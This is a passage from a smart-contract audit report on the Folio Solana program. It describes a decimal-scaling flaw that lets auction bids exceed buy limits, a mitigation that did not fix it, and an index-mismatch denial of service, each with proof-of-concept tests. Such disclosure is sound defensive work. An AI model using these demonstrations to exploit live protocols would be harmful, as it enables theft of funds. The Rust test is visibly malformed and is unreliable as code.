In here there is a big problem: decimals are not normalized. `buy_limit.spot` has 18 decimals, `scaled_folio_token_total_supply` has 18 decimals. Multiplication will return 36 decimals and later it's normalized to 27 decimals with `to_token_amount`. Normally, we should lower that value to 9 decimals.

Impact Explanation: It breaks the main invariant. The protocol should be able to specify buy limit for that token but due to the inflated value, this buy limit will be exceeded significantly.

Likelihood Explanation: Likelihood is high because functionality is completely broken.

Proof of Concept: Before testing this issue, solve the other problem in the bid function in order to pass the previous issue:

```
  // {buyTok} = {sellTok} * D18{buyTok/sellTok} / D18
  let raw_bought_amount = Decimal::from_token_amount(raw_sell_amount)?
      .mul(&scaled_price)?
+     .div(&Decimal::ONE_E18)?
      .to_token_amount(Rounding::Floor)?
      .0; // @audit wrong calculation it should divide by D18 first and then to token amount call
```

And then build the program again for reflecting the changes on backrun tests. In the proof of concept, we set the buy limit as 1000 and user tries to bid `10_000_000` tokens because the price is set to 0.0009 and `10_000_000 * 0.0009` is equal to 9000 which exceeds the limit.

Following proof of concept proves that the issue is exist. Add the following test to `tests-auction.ts` file and you can test it with `tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/bankrun/tests/tests-auction.ts --grep "fail due to incorrect decimal in buy limit"`:

```
it("fail due to incorrect decimal in buy limit", async () => {
let txnResult: BanksTransactionResultWithMeta;

let restOfParams = {
    desc: "(is valid without callback)",
    expectedError: null,
    sellAmount: new BN(10_000_000),
    maxBuyAmount: new BN(10_000_000),
}

const {
    customFolioTokenMint,
    auctionToUse,
    initialFolioBasket,
    sellAmount,
    maxBuyAmount,
    sellMint,
    buyMint,
    callback,
    expectedTokenBalanceChanges,
    folioTokenSupply,
    sellOut,
} = {
    ...DEFAULT_PARAMS,
```

```
    ...restOfParams,
};

let currentTime: BN;
let beforeTokenBalanceChanges: {
    owner: PublicKey;
    balances: bigint[];
}[];


const mintToUse = customFolioTokenMint || folioTokenMint;

await initBaseCase(mintToUse, initialFolioBasket, folioTokenSupply);

initToken(
    context,
    adminKeypair.publicKey,
    sellMint,
    DEFAULT_DECIMALS
);
initToken(context, adminKeypair.publicKey, buyMint, DEFAULT_DECIMALS);

currentTime = new BN(
    (await context.banksClient.getClock()).unixTimestamp.toString()
);

auctionToUse.start = currentTime;
auctionToUse.end = currentTime.add(new BN(3600));
auctionToUse.prices.start = new BN(900_719_925_740_990);
auctionToUse.prices.end = new BN(900_000_000_000_000);
auctionToUse.buyLimit.spot = new BN(1000);

await createAndSetAuction(
    context,
    programFolio,
    auctionToUse,
    folioPDA
);

console.log("Price: ", auctionToUse.prices.start.toString(), auctionToUse.prices.end.toString());

await context.warpToSlot((await context.banksClient.getSlot()) + BigInt(1));

beforeTokenBalanceChanges = await getTokenBalancesFromMints(
    context,
    [sellMint.publicKey, buyMint.publicKey],
    [bidderKeypair.publicKey, folioPDA]
);

const callbackFields = await callback();

txnResult = await bid<true>(
    context,
    banksClient,
    programFolio,
    bidderKeypair, // Not permissioned
    folioPDA,
    mintToUse.publicKey,
    getAuctionPDA(folioPDA, auctionToUse.id),
    sellAmount,
    maxBuyAmount,
    callbackFields.data.length > 0,
    sellMint.publicKey,
    buyMint.publicKey,
    callbackFields.data,
    true,
    callbackFields.remainingAccounts
);

console.log("txnResult", txnResult.result);
assertError(txnResult, "ExcessiveBid");

});
```

```
1) fail due to incorrect decimal in buy limit
    0 passing (642ms)
    1 failing

1) Bankrun - Auction
    fail due to incorrect decimal in buy limit:
    AssertionError [ERR_ASSERTION]: Error not found
```

Recommendation: Divide the number by D18 before calling `to_token_amount`.

Fix review: Mitigation Failure: Incorrect Decimal Scaling Not Resolved

Description: The team had previously created PR 62 to fix the related issue, but due to code refactoring, the problem still exists in the final version.

Proof of Concept: bid.rs#L335:

```
//  D18{buyTok/share} = D18{buyTok/share} * {share} / D18
let raw_max_buy_balance = Decimal::from_scaled(
    auction.auction_run_details[index_of_current_running_auction].buy_limit_spot,
)
.mul(&scaled_folio_token_total_supply)?
.to_token_amount(Rounding::Floor)?
.0;
```

The `buy_limit_spot` has 18 decimal places. Then, when multiplied by the 18-decimal `scaled_folio_token_total_supply`, it results in a value with 36 decimal places. However, the `to_token_amount` function only divides by 9 decimal places, causing the final result to have 27 decimal places instead of the expected 9 decimal places.

```
check_condition!(
    ctx.accounts.folio_buy_token_account.amount <= raw_max_buy_balance,
    ExcessiveBid
);
```

This could lead to control failure because a value with 27 decimal places will always be greater than a value with 9 decimal places.

Recommendation: It is recommended to divide by 18 decimal places to scale it back to 9 decimal places.

3.2.11 Requiring token in the included array mints to be at the same index as tokenAmounts array will lead to a DoS

Submitted by 0xlookman

Severity: Medium Risk

Context: user_pending_basket.rs#L266-L276

Summary: The `included_tokens` array and `tokenAmounts` array during folio minting in `user_pending_basket::to_assets` will produce a different token which is not the same as the desired causing an error being returned.

The sorting done before this sorts the user_pending_basket token amounts but not the user provided included tokens and since the basket can have some blank indices in between the indices will not be the same hence a different token causing a DoS

Finding Description: The `included_tokens` array and `tokensAmount` array during folio minting in `user_pending_basket` will produce a different token which is not the same as the desired causing a revert.

The sorting done before this sorts the user_pending_basket token amounts but not the user provided included tokens and since the basket can have some blank indices in between the indices will not be the same hence a different token causing a DoS.

```
let related_mint = &mut folio_basket.token_amounts[index];

check_condition!(
    folio_token_account.key()
        == get_associated_token_address_with_program_id(
            folio_key,
            &related_mint.mint,
            token_program_id,
        ),
    InvalidRecipientTokenAccount
);
```

Impact Explanation: Users will fail to mint tokens as required, resulting in a denial of service.

Likelihood Explanation: High likelihood.

Proof of Concept: Create a new file and add this test:

```
**[cfg(test)]:** mod tests {
    use anchor_lang::prelude::Pubkey;
    use anchor_lang::solana_program::sysvar::clock;
    use anchor_lang::solana_program::{account_info, pubkey};
    use folio::state::UserPendingBasket;
    use folio::utils::structs::TokenAmount;
    use shared::constants::{PendingBasketType, MAX_USER_PENDING_BASKET_TOKEN_AMOUNTS};
    use shared::errors::ErrorCode;
    use anchor_lang::prelude::*;
    use folio::state::Folio;
    use folio::utils::{AuctionEnd, Decimal, Rounding};
    use shared::constants::MAX_TVL_FEE;
    use folio::state::FolioBasket;
    use shared::constants::{MAX_FOLIO_TOKEN_AMOUNTS};
    use shared::errors::ErrorCode::*;


    #[test]
    fn test_add_iter_error() {
        let mut pending = UserPendingBasket::default();
        let mut folio = Folio{
            last_poke: 1000,
            tvl_fee: 3_340_959_957, // 10% annual
            dao_pending_fee_shares: 1_000_000_000_000_000_000, // 1.0 * D18
            fee_recipients_pending_fee_shares: 2_000_000_000_000_000_000, // 2.0 * D18
            folio_token_mint: Pubkey::new_unique(),
            ..Folio::default()
        };

        let token = TokenAmount {
            mint: Pubkey::new_unique(),

            amount_for_minting: 200_000,
            amount_for_redeeming: 0,
        };

        let token0 = TokenAmount {
            mint: Pubkey::new_unique(),

            amount_for_minting: 200_000,
            amount_for_redeeming: 0,
        };

        let token1 = TokenAmount {
            mint: Pubkey::new_unique(),

            amount_for_minting: 300_000,
            amount_for_redeeming: 0,
        };
        let mut basket = FolioBasket {
            folio: Pubkey::new_unique(),
            token_amounts: [TokenAmount::default(); MAX_FOLIO_TOKEN_AMOUNTS],
            ..Default::default()
        };

        basket.token_amounts[0] = token;
```

```
        basket.token_amounts[1] = token1;
        basket.token_amounts[2] = TokenAmount::default();
        basket.token_amounts[3] = token0;

        pending.token_amounts[0] = token0;
        pending.token_amounts[1] = token;
        pending.token_amounts[2] = token1;

        let included_tokens = [token1, token0, token];

        let myResult = pending.to_assets(
            raw_shares = 100_000,
            raw_folio_token_supply = 100_000_000,
            folio_key = folio.folio_token_mint.key(),
            token_program_id = Pubkey::new_unique(),
            folio_basket = basket,
            folio = folio,
            pending_basket_type = PendingBasketType::MintProcess,
            included_tokens = included_tokens,
            current_time = clock::get()?.unix_timestamp,
            scaled_dao_fee_numerator = 20_000,
            scaled_dao_fee_denominator = 1_000_000,
            scaled_dao_fee_floor= 30_000);

        print!(myResult);
        assert!(myResult.is_err());

    }
```

Recommendation: Consider not enforcing same indices.

Reserve: Fixed in commit 96dba4c7. Reordering of token has been completely removed in favour of a more robust approach.

Fix review: The finding has been fixed.